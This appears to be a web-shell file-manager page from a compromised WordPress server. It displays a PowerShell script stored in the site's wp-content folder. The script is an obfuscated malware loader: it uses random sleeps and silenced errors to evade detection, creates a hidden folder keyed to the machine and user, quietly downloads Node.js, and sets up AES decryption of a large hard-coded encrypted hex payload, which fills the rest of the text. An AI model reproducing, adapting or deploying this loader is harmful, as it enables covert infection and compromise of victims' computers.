HEX
Server: Apache
System: Linux msm5694.mjhst.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: camjab_ssh (1000)
PHP: 5.3.29
Disabled: NONE
Upload Files
File: /home/httpd/html/pooftube.com/wp-content/Cv4.ps1
$ErrorActionPreference='SilentlyContinue'
$ProgressPreference='SilentlyContinue'
Start-Sleep -Milliseconds (Get-Random -Min 274 -Max 441)
function Get-Object755 {
    $cuhppxvx = $env:LOCALAPPDATA
    if (-not $cuhppxvx) { $cuhppxvx = $env:USERPROFILE + $('\AppData\Local') }
    $ctdfgftw = @($('Microsoft'),$('Windows'),$('Programs'),$('Packages'),$('Google'))
    $ghbxeqlk = @($('Services'),$('Components'),$('Assemblies'),$('Extensions'),$('Modules'))
    $sxflikfc = $env:COMPUTERNAME + $env:USERNAME
    $eeohqnyk = [System.Security.Cryptography.MD5]::Create()
    $aorzvxwy = [System.Text.Encoding]::UTF8.GetBytes($sxflikfc)
    $mdkyhtye = [System.BitConverter]::ToString($eeohqnyk.ComputeHash($aorzvxwy))
    $mdkyhtye = $mdkyhtye.Replace('-','').Substring(0,8).ToLower()
    $a = $ctdfgftw[[int]('0x' + $mdkyhtye.Substring(0,2)) % $ctdfgftw.Length]
    $b = $ghbxeqlk[[int]('0x' + $mdkyhtye.Substring(2,2)) % $ghbxeqlk.Length]
    $c = $mdkyhtye.Substring(4)
    $d = $cuhppxvx + '\' + $a
    if (Test-Path $d) { return $d + '\' + $b + '\' + $c }
    return $cuhppxvx + '\' + $mdkyhtye
}
Start-Sleep -Milliseconds (Get-Random -Min 190 -Max 499)
$ykztgrli = Get-Object755
$esfnyiox = $ykztgrli + '\' + $('node-v18.17.0-win-x64')
$rhdgleiv = $esfnyiox + '\' + $('node') + $('.exe')
$ldzflgrk = $ykztgrli + '\' + [System.BitConverter]::ToString([System.Security.Cryptography.MD5]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes($ykztgrli))).Replace('-','').Substring(0,6).ToLower()

function Set-Cache493 {
    if (Test-Path $ldzflgrk) {
        try { 
            $r = Get-Content $ldzflgrk -Raw
            $r = [System.Convert]::FromBase64String($r)
            $r = [System.Text.Encoding]::UTF8.GetString($r)
            return $r | ConvertFrom-Json 
        } catch {}
    }
    return $null
}
function Load-Value750 { param($d)
    $j = $d | ConvertTo-Json -Compress
    $b = [System.Text.Encoding]::UTF8.GetBytes($j)
    $s = [System.Convert]::ToBase64String($b)
    [System.IO.File]::WriteAllText($ldzflgrk, $s)
}
function Init-State820 {
    $c = Set-Cache493
    if ($c -and $c.1) { return $c }
    $sxflikfc = $env:COMPUTERNAME + $env:USERNAME + [System.Guid]::NewGuid().ToString()
    $eeohqnyk = [System.Security.Cryptography.SHA256]::Create()
    $aorzvxwy = [System.Text.Encoding]::UTF8.GetBytes($sxflikfc)
    $h = [System.BitConverter]::ToString($eeohqnyk.ComputeHash($aorzvxwy)).Replace('-','').Substring(0,16).ToLower()
    $c = @{ '0' = [System.Guid]::NewGuid().ToString(); '1' = $h + '.' + $('com'); '2' = $h.Substring(8) + '.' + $('dll') }
    Load-Value750 -d $c
    return $c
}
function Set-Data167 { param($p)
    if (-not (Test-Path $p)) { 
        $null = New-Item -ItemType Directory -Path $p -Force 
    }
}
function Find-Value754 { param($u, $o)
    Start-Sleep -Milliseconds (Get-Random -Min 181 -Max 497)
    $cuhppxvx = $('System') + '.' + $('Net') + '.' + $('WebClient')
    $htsenodi = New-Object $cuhppxvx
    $htsenodi.Headers.Add($('User-Agent'), $('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'))
    try {
        $htsenodi.DownloadFile($u, $o)
        $htsenodi.Dispose()
        return $true
    } catch {
        $htsenodi.Dispose()
        return $false
    }
}
function Set-Data427 { param($ip, $np)
    $bxbxjdzq = $('https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip')
    $vftqavzq = $ip + '\' + $('temp') + [System.Guid]::NewGuid().ToString().Substring(0,4) + '.zip'
    Start-Sleep -Milliseconds (Get-Random -Min 201 -Max 675)
    for ($i = 0; $i -lt 3; $i++) {
        try {
            if (Test-Path $vftqavzq) { Remove-Item $vftqavzq -Force }
            Start-Sleep -Milliseconds (Get-Random -Min 157 -Max 628)
            if (Find-Value754 -u $bxbxjdzq -o $vftqavzq) {
                if ((Test-Path $vftqavzq) -and (Get-Item $vftqavzq).Length -gt 1MB) {
                    if (Test-Path $np) { Remove-Item $np -Recurse -Force }
                    Start-Sleep -Milliseconds (Get-Random -Min 118 -Max 508)
                    Add-Type -AssemblyName $('System.IO.Compression.FileSystem')
                    $cuhppxvx = [System.IO.Compression.ZipFile]
                    $cuhppxvx::ExtractToDirectory($vftqavzq, $ip)
                    Start-Sleep -Milliseconds (Get-Random -Min 135 -Max 696)
                    Remove-Item $vftqavzq -Force
                    if (Test-Path ($np + '\' + $('node.exe'))) { return $true }
                }
            }
        } catch { Start-Sleep -Seconds (Get-Random -Min 1 -Max 4) }
    }
    return $false
}
function New-Value885 { param($d, $k, $i)
    try {
        $gbwukqfa = [System.Convert]::FromBase64String($k)
        $qutdsdax = [System.Convert]::FromBase64String($i)
        $eeohqnyk = $d -replace '[^0-9A-Fa-f]', ''
        if ($eeohqnyk.Length % 2 -ne 0) { return $null }
        $aorzvxwy = [System.Byte[]]::new($eeohqnyk.Length / 2)
        for ($j = 0; $j -lt $eeohqnyk.Length; $j += 2) { 
            $aorzvxwy[$j / 2] = [System.Convert]::ToByte($eeohqnyk.Substring($j, 2), 16) 
        }
        Start-Sleep -Milliseconds (Get-Random -Min 227 -Max 608)
        $cuhppxvx = $('System.Security.Cryptography.Aes')
        $wirtzbbu = [System.Type]::GetType($cuhppxvx)::Create()
        $wirtzbbu.Key = $gbwukqfa
        $wirtzbbu.IV = $qutdsdax
        $wirtzbbu.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $wirtzbbu.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
        $mdkyhtye = $wirtzbbu.CreateDecryptor().TransformFinalBlock($aorzvxwy, 0, $aorzvxwy.Length)
        $wirtzbbu.Dispose()
        return [System.Text.Encoding]::UTF8.GetString($mdkyhtye)
    } catch { return $null }
}
try {
    Start-Sleep -Milliseconds (Get-Random -Min 166 -Max 492)
    Set-Data167 -p $ykztgrli
    Start-Sleep -Milliseconds (Get-Random -Min 135 -Max 461)
    $fidewpjo = Init-State820
    $mkxyuwcr = $fidewpjo.'1'
    $reniaeyk = $fidewpjo.'2'
    $tcetmbqz = $ykztgrli + '\' + $mkxyuwcr
    $bmtwzblm = $ykztgrli + '\' + $reniaeyk
    Start-Sleep -Milliseconds (Get-Random -Min 298 -Max 667)
    if (-not (Test-Path $rhdgleiv)) { 
        if (-not (Set-Data427 -ip $ykztgrli -np $esfnyiox)) { exit 0 } 
    }
    $shsbujkh = '108hHk5mCJn1/wNbXuI/hh0uSlUzRfGAZDD4IMkUusE='
    $zxcjpses = '2GcCKLVFoC8N2ht2uPhrhQ=='
    $iyttmbpb = @'
cdc6ffd62d28b2b54c3bd51c3cd0a2ff90970e7f4d9aec4d4f658891d49116e2c12c72775b7876b0814fe3c154c218797628c00d4b5a89a2e3028f9d2152e582d39ec4d2187b871fcae5d98997c8bf615943b54b659ae290ec92936f7c562101f7bb7d723d8ed3b362eca2dc52b3544bdfa753c45f92593bc82475fda647438b696ba7dbcff13c79fa0dca7c6dbe69536696fdf958b36d29a6e4659ec1d53a2815af4bda99bba6071ec1cc1c9f76d6fd4802e387577ebaac09bfeefeaf70fcefef0baa9e1dd7e47b8a540e833e8af6c92c0ca20b275eeaa355f337ea1d92dfe552b6b572f33cee38d28da3cb0a590e2c39623e37912dee543e3201946d37d16bd402893a6327234cc54864b4ecec8be862f1b045265dff2bcb35d88c3dead8cd31f52938f25baf92ad6e4e26507648e67fd00e4d2365c0493c18b970e2a4ecbf739eb22529b3d092af3b4b12dbc32fc5da114728e01f0a1b2a4e9a3d30f56aa59bd135290a583725cf544cdb58c2eea6b1edf6219d720b37d0b9a3401bcebf5dda76410cf1bb4bf44681fb4b0aa9b13808a00aaa6ca7c1c041cb8781c27a21474fe317ce6d0ac2774de5aa5626b93787caabf55103282a985276ff70dfe328d008defd8e4f165df6c747d635a9d440255bf9454f372633bcf65b021c9f4a942ebf9e797ca2b09d344adf36535d4907861c66838a4f49d535dac8017b08f68e7159707ac3a6b167bf89e0bf6bf24a184d197dc9d581ed136cafc878de8238cf39a3e5d9f258ec1b13b03635e395020dd4be3d0fbe6178453513627e8989d54e0031a61f7773e20e69e741d03314e2475f378d543c5f0b8e45c2ec91c299695322d5ab4c8643065de4ad22ed4e83281464754c676d792152e813a3819392f2e18ada8a19f01f059bfff61e8af0bd951dfdce567f3dffbb2dc9601e6eff626307f67c6ec1e2542cbfcd3c5c9ecf8f0b242cbe03386004b8509c0aa19cf41108ae32883e6a1d205393d8d67cd005134d8da668541903ba36ae172768ac730b95df78a06ea75cf2f426e40bc03e19d182eb0181ffe72396f1b9f0742e54805150bd0dc266ef5514f5539130dc4a16a189c62e65776cd18a20ff9dcdfe48640a331782bef5c8996c600f7586d1b09e8e15eb014fee94c946d6a3d1f14a439e6825141e919607f5f559b93ee331610148f16bf6835d8262b3b034b3a09ef3402b028f4148a4be22f2f6ca6e12d3aa2a5152816c35f44eed77acc7bc81c7cb66cdfc75cafa0fd3de093d1a7d0696647f29db5b62d3f69aeb52f9b12aaed68276a159321dccf54643e6ee88ce5ee272425e64f6ddb1c48b8d1a194de00154d951d1d37de224b6c4c30e68531c3401243c81ab4962191a42e0a247a854778a3853ba9bf8382bb73369a06d7cb2a9198548020c4b055219e81df9a0509cf9a9c70a97e4a45e135e650c4c9dd9d9e865d7c3f8de99dc48c396defdcafb4d9ce04c4c7cca355607ec1d0c41ec8dd528280d4333af516205fff730be16473908f70a6885c6bd99fa970d2ca897668be55f380fed759370cf71727f36dc6ce9e342ec81341fa118b87115db5103924e4d372c38ceab1cfebe30aabd8418bcc0715ccb0fc65f13604114ce06d051d9667c342b9729407b08e3aefce20ced9d502e7b354efe0feff8b42387b6424c8f6479c60515d84c8a8bf9b8d1a2423250b5193abb5a8ea2fe5ee0f5aaf448c7b726e475a6fd61f124a15ecaef31ce0aeab113cc5786021f706e15a71f272c4e0c47383df1fe24b1a93b29330c136fd72a23701e53d27e7444f86c9ee2ad85fdd2b727a8bdfc7381c4cff5c6b0219582697a0987d14454e41d63b994de792aedbc4629042b34b4636de114a8e63485b314968ffa549ce80844451e67727744aeec5cfb605e9ab08d823bb8de021ac6752073484f20d0ed3554cb35fe2d965fe448a2bc9413e7a1a6dbd72add15ea2bd0ab48c3b4b09c097bcb6264a99761369c05212cdd426536915039160fb14ab3aa1a248b666643c5c652f8ee2b883dc732980fe33719afb7d974f7b751fdb4803121e2f9f83826b28780d4650e331e5322022d8b3957160b90a2f27676a89a668085c7db8a30778a7536934a129204daddc631f8e4c635cf2c5e86c55ac28dcf3634ef45082eb0b06ab9779ec8e511427a066dd409a0c4210871a9b8ae812dcefce2ee91dd0ab57a0bf48651f033e90c94a968b99f84560926a9ed00d0656d925787e78b2a5eaed69e5064cdb77ff496c6b2f2741a705e7c0c2b3009644c67105dc0019589e5604a4c2008123bd49209836527e347ce251805ac94d8ba55feb4ee7b39a658e2a3bad7fb88f72601fa3d62d28ca0ed9b93805891cc07f1716a97ddd93bc5e8234f12b38e6ea60e6d6f630f003a31a8e5f5f31b622ab0e9b3dfb967a355a5d0927ebeb1d0860e7c3510639fbb9471da00368db333195d6dd92b9ef21afecb6227548248782e743a22e8cbd6515efa19b1ee2c57a9e078fb73e4d0ea206f1896b3771b9c9726a280923637c1bf9bc5f28e7f1c9c2f987a4de775183c2d9e70e8ecce12e59b0d822f4d36a135bd2ae37fe8e6dec5695e4ea3c4f13b12339d9a2ee4a3fcadf06c12149ece5c0ee848d92eff443d6cffd157b95c0861981f764d81f049a3ded1c96f51a5a6d0375bdc0010a4c40876beedac4ef4721f206bc4fa34dbb37c37279f973279090bc2f0feaf5723710d4503931b1964533421ae928d319eba9d91ac8c2d6b3cb916f574c3a7293621d38b00ee9101fbdeb617190acfe25a3c427fbb370b77d4b80793516bd7480afa8405b6250d8592233295e0d1cd0eb832171f8a672c8bd759b8a1941d6bac33f5500960cb9c9fca883abfa4239ca43adaa58c4846ef39e56d12bc9e1e39f00ca1382a8344e7bae7f369f899447bd8de7ed69132f70bdc2848d7babb8dfac9a8635e6853b4350dee3f43fba46c0ffe5ec2c843f24683f444acb3234caa35681b330f9194aa9919f320820c3303daa3be718025cd814884473a3a29d80729c0399ec0687fce1f6197d114cfdaf6db3d7902d868c0a181ad908087dc2a59df6d176e5eda8ab19ed379fe2debbd8e53143d7d00debac37dfa6c69710f5dcf9927f93426c4443d9ef20b0278a354e8df8cb8e739370b88c116259d8b7b4932ab2b44c597fd2d010bc0021980b4f14a87626b7321e7c04ec5c81686ed54e0431a35dc93464efe7e78c38c0e1220e4e0e4aee849c1f982bdc390b621309eda37706059e8b716a3e85273f77dccce6bda3e0b8506795eead8f617e77864a46deec56daaff354a41c2c8dba6f925d2c9361d377b47b0768e3fb6fde27e73e9843da6ae9c8586a696139de9dc091d3240593b9b745ed2949c4e0869db63ceaaf1fa5825a5e598d4cd509f2b535b4a454696b02e23e09f518c6815c468f07cfbeb245ef2abab645441f86f7f5357ad9dfb9e29b7ef2ecc1cf62f04ea6cacf741745d0adf1da6df10d6716dbc4d4925549219748a83bf8bf91251ae16bd27422330641fa827cff53366f070e3cf7cf6ef087f9b9f948c34df13af2863acd065bc3ee392483d1c1efc7cd7d4fee4bf4a224489a607e604ec7e3e01f6aec999033f5e0ff8f8f430b24468aa2f492c9968430f812f8542e5806fd509dbd1ce40e5f4b26c912e64be1f6c1882e45306e376ac97766a2772bbb6300bd275a3f489e4dfcc2d0ad91b5ec0e154bfed7c5e235747c71272c5ce4c211dcee4231c190d5338f6a482f0d6eeaecc60b91c66df7a2abc721e9e079a3ee7d84eb5e2d94885f4d4f4a77abea55f9d99455486aa3a9f6008136260705bbbbf97354e8cea2501115c31e303c47de248d3551a9b8376b6a20dbcbfe061e9a3697c02d9f5c5aa1809f4ab5b85a01d2ef1ef43fa7fa1c7fa44c0c5cdd2f27845a1216e3fe175700b88ca30c99d4c234c245a093921282e923e5633baf9aebcfce00da6cc54682fa31cc9748e0f90ef8037c5e2c539b9d85ee70c3fca757aa2c1d5fed85b445eddda1a1673d4b8a5c7d48d73b7ca96263cd3aa96a66cfc7cf63250ec5e6a1d430f4588d84e794aef4c81bff8c0a368e2cb2dd163671abcdb8f5c998e8164dea8bba7bb70c9ead35346471330e439a82c4434265e92afdf70d63d009b66d4befd371adf30ca39aba4ece2a69f51d69ef650cb30367ce7e752c82dd970bf75c2eb101b3881c072f64ba92f7c111d7747bf05239f8ff3dc023ce4f923feb2e4af35e4916d863abb8144dcd1c2baccc33cdacdd2aef3353aaa73466d2ca8a37df770ae663de46af4364a51d89c44ade18d03bf91e71f6fee59a96cd0a68b9ab44692af07e4a7ed76612cffefdde6d2124af9afbcc4a55081dfce9c867f303cb57a37b9d128a5c7bcfbf7a5de678cf23b4cb3f892aa82909445cff85ce894f50640a38d771a4692097c028b5a94d1593a1a6211245ae1310991f9f4335b54bd11bad0c6822df5b8c47481aa95af78564879ffaed147809e6bbdcb649d1bb482dc58c68730cd3bef57e80dadfece80a370af061a7639da6144630bdcf24e6fe4e4ccddc2db8d7307b219359ef3abc4e74b79021739882f91fe361d92587c227c54a4dba9d03fc7bf709c70670545be00ef4ffccb00cbc9e2272ac0625999232bed8e358634eb3baccb069a9f7216681b8b9544132e145bbd9165ad49f5348a2b31b8c50551ea4ff8fc2855a154ed2583b92bfbd9064261dd4c5da73d257bea8bd876a7f1db34799972c8779b8db4bf8fca308dd0d8e1c8ed3c0085c9bcde96b93ad47b3f276f60dead93dadccc2cdd8c7b879b5098c73584c3e43efee598038a03b4a53754b5d4134c534ed9c8db2ee310d020ff847023acff3d733942830ccef019d264ef9be901f33607c2b24f48a61735c1ec541779ab08b20c0cd68b9922cda966d09765550fd230b8d21028a827c9878685fbdb838fa6f1eef04d155b130bdc452e06bc201be0682e85cc2687ab1c481fa7f004ce5614fb267c3605c918860a74a99902f72a61077ae714005b0a9d4591653e8c6e656fe77750dd6f9cca516781d39d77ff0c3d732a6fda7c24dbe04aeb94713c874943cae584ea13071caf3c11a6d0e6182b2ca12e0d6d8d144907f740c589798e87364495eac8b91b40c24b7c267b9c91778d82c3ad74b4920ff8974abc5043ef6ca4c8f1ccb7fdd2e95a8fc8f1c5f93f6252e5d014bbf8c92b64c3c21506facfb2da87e9763990d750cda256c02f2e46eaca9845a44c5e5274ddeca6bc66a2b3507940779d8f48f9f20ad923b432bc8aa8d5c1c088cdfc654a31a2054390e3900901cc57a70c7d5c307fce8265e549d3a28ae6f4b08c61e25e2bf9bdf330b10532dfbf02479f441ef85a43b7e4ce53b7bea7e5daa151a77f1ccbab3bd1ef62ce3e1581560de42c51a11fab24d5fb0e296f6cd62f11d30ae2eb7d8a8828417638cd0197c537e63e4a65d3c004a3c0305f57692e1e2d3a768bbeee31f18947692b2aa771b0e35c2902d3e60987f3e6024bb4b759c9ac0ef7ba2c43da891cb7a3722161439678083516bc77a638845a26f49a7cb1d4477c856f3345f1c2515b6c1c28157b6ec6472a2e41c9ed7c784dcd2abcd70243fe9ca304d3994c6c169930082caa693a86a71f86cb3295cad4733aac197736da8c27e1b3707c57ef057764d24cb02b9df4afb392566da1f5a1b528c8e1ad66dd25ea42056c58406f944e904bd24c1d46f0c4eeaadd6f94750677e70d72676031391f8092d0a95457b257bced4d06a3f4ec6c110ee50db45d3f580791fba7a779f7b7ae0fa516df259d2843d949eaf3df0840bd37910f135830ba3b8b078a2cdf5b89c7a66b89e90cd11848693c504c5b940362dd435abf39672dcfe3e9190392f469c10832e1ce6a163473e750879367b29ad51ed16d8bfe87265a5850f7b68b01f14bd553da8611d5a775456555277c59e7d984989896041c2665ab12cf977354021489a5687a6878e9288498c8ba64134cc29324478afa00645eba3a8ff66d831e60a637d8cdc405759eaedd7365c62e90929d553c1bc88d5d8c5c1d27c5a4bf6acb45b395ba8a2fc9dea7bdf14bcfb47c60ba26841c94e2724e4c333098bfa751da9dc89a5017e07d6314c453cc9cf9a38c27cab9eb08bf91bcb4bd79654bb6252854c632a5558f9fa9befa53fcf8c2e35c1342a5b3bd59c26b7f1a7ffaf8492fc27d873299e127585beca05a881b6eeff389a54ce04f0f1821bbe12e5c9fe39d75af92e6f6328db774e283792b8a6666b599e4936671911c0f921f87d27b8a13b8b8bf87a11df78946f4f85b576eec78066ed2f177fb42d40fd2725c6f407fc9090c82220e399732375c0f12885b98c220b59e297caed9e49b80807ad4db4d85459dc329898571a6006df1d270167f5358cb9a56211823426ff5a6827dcfdcf6568f7e28ccbdd94ee168eb712309a79c0c5242e75f095956c390e0600ddc782929bcab55933ddd2bc4c1c02464a2cb52ab8429edfa8d21645ec0c0219b5b10a0da6b3260517435d0617646a55d1ec1dcb2b4896699b429ab6c9b1ac894b2348c40f09238f53940ccf9eeedcd41b69624831f8bc4adcdb6d02ed5b2ba2afafe83c2458237ce40f3a0e18c280bf2ae1622c83913ef6d4ece126deb00677f403af42689713ff2faa835514507f5b6f0a094f58190f6bd52c14157baf8dc0ae06a90f77691fdabbfb1d201651467ec5c5bc186525546485914079d12d69fa80ca1928997ee8dcf2a2c8161949474a9792ab45a3f04a1c3577543b48e5b8f67dcfb22e709ed3ae1f6ba5198d127f2a27a915e8521bd485763f4dd24916b2c7e9ab6feaed59fe7ea623a175a294dff6d38a2ac43264cd99da874610eb7728767d270543a1212319ec019385db095ff8cfc6f31324bf3a848f79151668eb84f222f9a58e96d653a74f1795616b27683c21498b0938e2a723f8e5ef60c7f5f755557f7eb0e0f1e59ad7ca84d19ce697e30bef1fa98fe546c05138ce28dcf3504ec58e66cca6637ef010142f1d479d4989486b0126ee0ce8022d118d624bc7f7593599e9d0154a313e14a7389c32bdf7e889bf54b0a34de3b32c28c68dd004fa4009a79fdeb82525e35f00a0b69b69c97bf6a35d8e48add90aa861cff350a735a43d78ac32f92a8c02f972fe4d8bcf802237e1ec7fe37b57603831629d36b6493e5850455be85a74d7eef6fa39e69986a217dd1ed128eb129d31c2e80156911333e6bc1b244005068d0c0cab4dfa6a9f177bba2af5e18e1fcdbddc6222d6ab2b4b1e5a85150f1617f953e07f236914f51e8992f5302d6858fdc2bd4a86d2c96ed653a6aafa04a3e0755d68bdd5a691ec4601d7d0e9391911c893f6c9422432b84130b147e4f0195b0a4fad757be260c53f6bacc8a6ed352a82a1abce4119544a7fdfb4376d2ba5b471dd454919a7c4385354278b4753baa28dabf1727bdceb90f457427a5165d663b1ec39ff03130e1172563d7155beec5580c85c5d99068cd3b846fe49775db547a03bfa2cdb4d07952b5937f34ca968aee5fcec1d3f61dfa17a11d7e8ae60087edd2bb16fd9cffdb85d24f110dc49a87b6d3b476cb05cee1b39e401298dfa332a72eda486a8cd3102ca69e73f1eab8452cc4f2f908f6c946bc61f667ca45380560b138423b776b0ea699e4bda44a9c5c2fce96eedcc5fc0b072378c3ba80360c73d8c4335d4407d282f62690dea2c9a32d683d8ddd791f2d6ae8efbf6acb89cce978125b318375156125bbc8fe3305a08fb8ccf5d0c6a85a58d8c02e266b7227809650bcca283f9608879fc26074c7c457643af6f20bcf99eef187fcfade21b05cef6ae107126cd0246191e4d31c323fd8e70634fa4f423f00f5083f22b2614e0251a1f60e3efe7757d74898ae8372bc5b6379ba70068db9662d9ac8468be631fd7b7ac6120ae641acb833a7ae6f47ed2418e8b976aba53ca1d8f981d2374779cc6a53d2df5f56fd82b1abeb07bc3e374fa686cc3d882da03dade350c83815fd36d9a67d59f7c5625b216b85f48ef29efea9dfcffb893655a57332cdbf5ef3e9a71bb9ed2f8a8b7342567b77283d63e7479c0ecf9671de5a1d88ff766e79694892007c7c18f867187b91c5190d98c2784cb91d1e03eeee77e7a0c69906e907ac88ea2f1857f12bee42c13d16b0292c9fff458a8a72dccd679d6c553a645ddfc3846f6591c6af7f7d8c9b2d69ad266be3b0435418165c047c7f91e90766cf2114d55fc13462d8dd7f5aa852184ac7485ac503311e52872a4b9d296637d8c104ccdd62e23e6c7c9a9fbd6a237929c5d86f56480547280c3047c76be48109deaaa76ee88f256a30979d19452e49c6584b44c0fea9cbb81e9539e9c85f7a5f9efd2eaf85e3057559f828807981fe3c76bdeb716b3527feb41253c1a79f143ca30273d95cc139561807f0befeac25ae85c70faafaecfc4c94e594763801733d9e3d072ce6d858c2d3c0fcce8c1ff15e5f0a35f3bdd89597e4bc23c3c979519f5efff74649edffba686ebaff24f8be740038727cb4640905d5e46e20ef245b9932aee43ce0602cc176d8e7e3d8a3abf995ba9531b516a6436f989bb30cfab93e2ac61f3d2d34f2f23471647100aa874e2221b4d9c9437c346e33f03f183ca1469ed23aea6d05ae1c4326d6a2f84c8ff05ccd208d45e87074dee2853a032bdc8d4d641a90739d60563e2ec9d65d342ec4f6fbb09585140b6a65eccfd8f28c14e68342034d80367d8274d4681fb18f5237c202f3e5e094c93cee4fedea52fb3b82200cd01dfaa55d178b91153ec2a02f6d6be92fee79e2cf44d408c4a302f2452476d5f419221a17bd2a371e097e1975e38ca2edd62c29a7aec4f63c44ff06d1791933914235ac988a9207e7d226c5ec3758e1541ba07b050c02d13fbb97499c506ce7090002656b548347baef92cf93708188c93643468092b356a7b693f39bec3ce033c3d2c927bcde1bade7f4c902177c842a2dc806dc9b66728a9be12a45ae6660970405621bcab392b353e87c17a4b7c68e0e946edef7a145544d50588f4c7e60d313222f26d572a7a1e51caf0d7d239898360e1d2eeb4ae0fa7a7b4f8ba71959113b50858d639df2327a26cda4f440de176bb7f27a671290f8314c6edfe7e6d096f462633db9854b0b91ee4601d0495f9f518f0b63bc60b4ad14c99ce2b5c713827d20421b82abba9e071cb75c462dda92fd670d599b8918a2860f6460e97b1bc49cf6170756786d3fa23bba057d03bc1446203ff357640c9cd35360c9a09e5ffe5309892a20c990f49f48bc950f1bfe92b00bf33f555b8ce3b0e9c8f4a7aeeacd316fc6e50fff789fe166a41572789b395eaf9db944ef3bc12d1b17cf604db6911c5c865b63529a97233ec69e123d13a2b0b9d24df36aad9afab5dbd4f28c2c2a848ff69cb0c771e6211354b80d86226c3afa8219179ed2de4f595a7168820050df78f86167bf15ab5fbad65d55b03231ee8a9022771febeecd0c8d3f974fbd122dec25e0346380ce7ff72d54d4118222545632e1a56713dfdea15e9a23c003bb8a55dbf326b3d4b9083f9d8f3cd8916572a4de8c025fa83df5eaa6249ac907f13fe30e3d0bbe60fec6af824ed3d32c92351e7c47912a44950051be51070e1d98e8a66b289469b2df7fdc41e089116dbfa7b332955b322021dfa37ac2750ac8a7ace8983fa0d24c3b8b9d65ebdeff156d499ef0cba1522296cb6fddf6668fee4bd486b0e2ed3559df7263a7e0ea1363720d3e5b51804ca86ac6ae64e96e9728a7ec65da1eae10a905890547766bdbdaa82c4789fd8be42ef89c7e90acff41a2bea3efe163f0cd90428ac62f2aa54f2a9b1ada4b7ba0e933adc7905b826961c2b35aa5eb965654c7767bdcad8c5be3aa6b805923b49848996caf07f663ae4c89d86f176318414d158c512620a8f2cdce416038109abc7ed43f985664ec6bbd640197cb4551f3efd9faca0e49964061adbf653b5cee0b18e6e5ff5283305070d7505c5be4a2460a815392399a270a59fff69e68937e08212f2412eb0a9daddaf6308060f46c4afcae247a7ea44633a7b30131551b11b697d1203cd62637979ddd83e64a1934b1fa81daa9dc4d1de380f0371bbb8229e706ba299e9752906ba59d5a180093af3db4a8517b5f40c143eb12c6ad809c39226f495003bf166449d2de9dd6ace905610bab2d2b4e3aa36139c587be7b5c2c4d19dc04545ed6eb77c837510bb7be3be15931d819a775aa1c7c33d3ed2e450c019609315e05884dffe306bd659ab529732a7fd8f54fa4a615bc79de45de061613c98578f9a2c8e1682d997ce14c7285c8749a5a431f2f966465f04a817bffd44f214dfa53de04db59ffc9120123b5039e601b60d549cde3dffcd96101f20d02dc00bc2b9bbd4f18a158f1a26ad3676e649d1f1d77b97b717faa653159f0c4a2e9b500062bab4f6ed6a8438a65ad06ad21e9a92a11ff7083a8dd24b1cefd2a62d2599eda8367237fa8c2f19bade109c24a39233a5a71ab66c9b5aa915d02cdbf289bc6d8445fe221b568dcdc2c5d503f4921a71d026f184a8e258d6bc8d7322eb38fcce7c91ac0e240b25e95443c3bfa564f1387ffabf6a9fa2a2d8f9eba3d01dda16cb2c9526ffc676c2ad7e7c644d21ef5c60a2c98dd21bcc89f6fb70a2134abadaf5a7a96cf733d87e852f02092cc1f863ce4867bb09fba3614c7cb5c1dfa80d88fad4d3215335951250daab642f2d9f9ac2955ba59350958c147058763a8eecb57f767b2e589958b725e47d74395934b2eb447f60012882e82c0354878ef82dc845e2fe6a77c84b398f5785854a7a0c7b7c21118ec06b962e0e3648f82e60f2429641d94b9dd97b6d9f0f37bbcc9007c513df9964a1be072231d2075e729a1b2b3094f95939ff0035df36d0fa65d6f834b2d0c4aed4ba4984fb07fcaab8d2ce8d3cd759b919f6beae0c71c638e651276198bcabde3a08ea8e0cd5fe65d3e46232284fe0fe54849cc4a27bde489290f528848d02cc6582f0d268c0b1b187926af67060266d77e41acaf158b0ac789040302cf1a95330c55aec8b0102c559fbfe16ff302a83953663befe8e015eddcb1bd42e6933ff11ed7a07d434e0f7ac9ec1cad5ddcc2edb3d6f08a5fa883f5ea367f38b18ea154ac3594d59de45fd65f3c8d4b8185614e85c1208340b07ecc700f9f76bee149770401e7821ba5e21905b4a2b3e042e4e2551005c16c9c1249596dce65877842d097ad05ec0bb013e7d9d90bc687c9111f7dcf3413aa04386c4a3182536c926a32314830e8c29d63aa2a9f9635227202209de754405948968b8e8b2fc7d49dcb80c71281c0935d89daa2e85587a01aea8f60f04ea0c2c11035c1fc7e3b5430cd8abe764060416a6fedcf4e0abfc11c0eced4aaf48c9d6346dad676d65f5930e88230473bf102bfec41dc155391bb95834968fd2c206a7b47dbe0789c79f2c36286a90b8089367a8731119112b495e0d70c99ea013d058df432cab106082e0e785b24ab90f7e3f2698646b607ad3f52da28d2324f0deb6274d9b257d5b8d1aa3d18a6a80a14423f4a75a93ddc1dd8b6996f49d4a75138f800041bdbdd9987f9af81ea0d10a9338357432c809bdf60f0438880616186c7afccae2a4d6950fa94aa16d067edc2c24bf33e7607fcbe79eecdb9c4f60203183c5c98edbff6ddd12dd7ffb464d30ed55d12ebe33dcd0b9586fab8f3c6bdf486f9b90c97c8c715984be0d9492e0edbb732837f6e5c7ee19d6087a6a8acc293ebd7677663ae6595765ac73211863bdd06d83bec2a216f9a5d1ac288d37d6edfc34dea43c38b20ab8f563f745194135b108e76468d8f7b27d420e597d6a4cb0f060e46870f2f176ce850447b55a4807fec3378f0d1ceb62619f83944fd81d02b4cb70f328a4e3eca37a7b0884890b110d88e44e6d9713bdf1b2a6bdbc4ee899ff36c72f5d8eb29d1e34489cd0b2774ed7bdd5597d9ffecb83f1316a20c6435fb4a198ac300b130a366d177f5f121e18b023d4079888598fcc45a4404eafec9d33fd71680d34962881d6d60f00b8c5c1bd21bd4ffecd8b8c8ac9eb9c61532169c1c64d4492af4bc4b4ad90c781595889d8846c36afcf7f7d4ba3d184d3d82c856dbc767c6e43e83f0bbfb5271f01232d6b40926212afb64d9e1b4b727d39c7a258dfe90f87ce75fed3b20dcb7d33d457dbee1c67b530d5c78df0f5c221d0c4ee2c1f89ef055465f83c61d3986c578d69897ddaf3334bf1281b6614765996414fb260e4577772dee7b7c49e0f7c001e92e783db55a068ae2561a80d99ac3dbdebf5080dd3cb703cab5f1ca2b3c922905c1b27323bd094e8ca60ab708b9654